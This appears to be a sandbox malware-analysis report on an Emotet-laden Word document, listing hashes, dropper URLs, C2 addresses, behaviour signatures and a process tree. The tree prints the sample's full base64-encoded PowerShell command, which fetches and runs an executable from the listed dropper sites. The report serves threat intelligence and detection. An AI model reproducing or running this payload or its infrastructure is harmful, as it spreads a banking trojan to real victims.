Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 10:39

Sharing

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General

  • Target
    emotet_e3_99bba6892a47b73d11bb41ea97d591bd412aed1d31e5158ac28024e3d4f4023c_2020-08-18__103800._doc.doc
  • Size 171KB
  • Sample200818-19c1ferxfa
  • SHA256 99bba6892a47b73d11bb41ea97d591bd412aed1d31e5158ac28024e3d4f4023c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://hapaistanbul.com/tweHyPvH/
  • exe.dropper

    http://hcsnet.com.br/QIn7l26597670/
  • exe.dropper

    http://krabitourtransfer.com/WLdPbPn/
  • exe.dropper

    http://kravmagaireland.com/cgi-bin/X5h427139317/
  • exe.dropper

    http://labonni.com.br/pCG/

Extracted

Family

  • emotet

C2

  • 186.109.104.67:80

  • 185.86.148.68:443

  • 139.99.157.213:8080

  • 203.153.216.178:7080

  • 192.163.221.191:8080

  • 201.235.10.215:80

  • 37.46.129.215:8080

  • 78.189.60.109:443

  • 77.74.78.80:443

  • 143.95.101.72:8080

  • 188.251.213.180:443

  • 31.146.61.34:80

  • 190.53.144.120:80

  • 105.209.235.113:8080

  • 115.78.11.155:80

  • 172.96.190.154:8080

  • 50.116.78.109:8080

  • 188.0.135.237:80

  • 179.62.238.49:80

  • 197.83.232.19:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_99bba6892a47b73d11bb41ea97d591bd412aed1d31e5158ac28024e3d4f4023c_2020-08-18__103800._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1768
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAGgAZAA2AGQAdwBxAD0AKAAnAFQAdgBvACcAKwAnAHQAdAAnACsAJwBnAGgAJwApADsAJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBwAFwATwBGAGYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBJAGAAVABgAFkAcABgAFIATwBUAGAATwBjAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAJwApADsAJABVAGgANQBoAGEAOQA4ACAAPQAgACgAJwBRADkAYgAyACcAKwAnAGQAOABwACcAKwAnAGEAMgAnACkAOwAkAFgAaABsAF8AYgBrAGoAPQAoACcAVABvACcAKwAnAGEANQBrADYAJwArACcANAAnACkAOwAkAEwAagA3AHAAaQBzADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGwARABQACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlADIAMAAxADkAbAAnACsAJwBEAFAAJwApAC4AIgBSAGUAYABwAGAATABhAEMARQAiACgAJwBsAEQAUAAnACwAJwBcACcAKQApACsAJABVAGgANQBoAGEAOQA4ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABSAHgAZQBrAHUAdwBhAD0AKAAnAFAAYwA4ACcAKwAnAGYAeQA3ADMAJwApADsAJABXAGwAbQBzAF8AMABtAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBCAGMATABJAEUATgBUADsAJABOAHUAYwB5AHAAZgBoAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AaABhACcAKwAnAHAAYQAnACsAJwBpACcAKwAnAHMAdABhAG4AYgB1AGwAJwArACcALgBjAG8AJwArACcAbQAvAHQAdwBlAEgAeQBQAHYASAAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwBoAGMAcwBuAGUAdAAuAGMAbwBtACcAKwAnAC4AJwArACcAYgByAC8AUQAnACsAJwBJAG4AJwArACcANwBsACcAKwAnADIANgA1ADkANwAnACsAJwA2ADcAMAAvACoAaAB0AHQAcAA6AC8ALwBrACcAKwAnAHIAYQBiACcAKwAnAGkAJwArACcAdABvAHUAcgAnACsAJwB0AHIAYQBuAHMAJwArACcAZgBlACcAKwAnAHIAJwArACcALgBjAG8AbQAvAFcATABkAFAAJwArACcAYgAnACsAJwBQAG4AJwArACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AawByAGEAdgBtAGEAJwArACcAZwBhAGkAcgBlAGwAJwArACcAYQAnACsAJwBuAGQAJwArACcALgBjAG8AJwArACcAbQAvAGMAZwBpAC0AYgBpACcAKwAnAG4AJwArACcALwBYADUAJwArACcAaAA0ADIANwAxADMAJwArACcAOQAnACsAJwAzADEAJwArACcANwAvACcAKwAnACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBsACcAKwAnAGEAYgAnACsAJwBvAG4AbgAnACsAJwBpAC4AJwArACcAYwAnACsAJwBvAG0ALgBiAHIALwBwAEMARwAnACsAJwAvACcAKQAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGUAMQBqAGoAMwB0AD0AKAAnAEcAZQAnACsAJwBxADQAMwA0ACcAKwAnAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBnAGcAdQB3AGQAegAgAGkAbgAgACQATgB1AGMAeQBwAGYAaAApAHsAdAByAHkAewAkAFcAbABtAHMAXwAwAG0ALgAiAGQATwB3AGAATgBMAGAATwBBAEQAYABGAEkATABlACIAKAAkAEYAZwBnAHUAdwBkAHoALAAgACQATABqADcAcABpAHMANAApADsAJABZADQAagAzADgAcgBxAD0AKAAnAEUAJwArACcAagBvAF8AbgBlADIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEwAagA3AHAAaQBzADQAKQAuACIATABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADcAMgAzADYAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQATABqADcAcABpAHMANAApADsAJABYADEAZwBlAHUAYgA4AD0AKAAnAEEAYgBwAGYAJwArACcAaABsADQAJwApADsAYgByAGUAYQBrADsAJABTAGkANwB4AF8AZwB4AD0AKAAnAEwAYwBfAG4AdQAnACsAJwAyAGYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAGcANgBjAHEAYwBvAD0AKAAnAEoAeQA4AHAAJwArACcAYgBlAF8AJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Q9b2d8pa2.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Q9b2d8pa2.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\SysWOW64\wow32\wsock32.exe
        "C:\Windows\SysWOW64\wow32\wsock32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1340

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1224-18-0x0000000000200000-0x000000000020C000-memory.dmp
        Download

        memory/1276-8-0x000007FEF1F80000-0x000007FEF296C000-memory.dmp
        Download

        memory/1276-11-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1276-12-0x0000000002060000-0x0000000002061000-memory.dmp
        Download

        memory/1276-13-0x000000001C480000-0x000000001C481000-memory.dmp
        Download

        memory/1276-14-0x000000001C510000-0x000000001C511000-memory.dmp
        Download

        memory/1276-9-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1276-10-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1340-21-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1572-22-0x000007FEF2F60000-0x000007FEF31DA000-memory.dmp
        Download

        memory/1768-2-0x00000000089B0000-0x00000000089B4000-memory.dmp
        Download

        memory/1768-4-0x0000000006E00000-0x0000000007000000-memory.dmp
        Download

        memory/1768-5-0x000000000AE30000-0x000000000AE34000-memory.dmp
        Download

        memory/1768-6-0x000000000BEB0000-0x000000000BEB4000-memory.dmp
        Download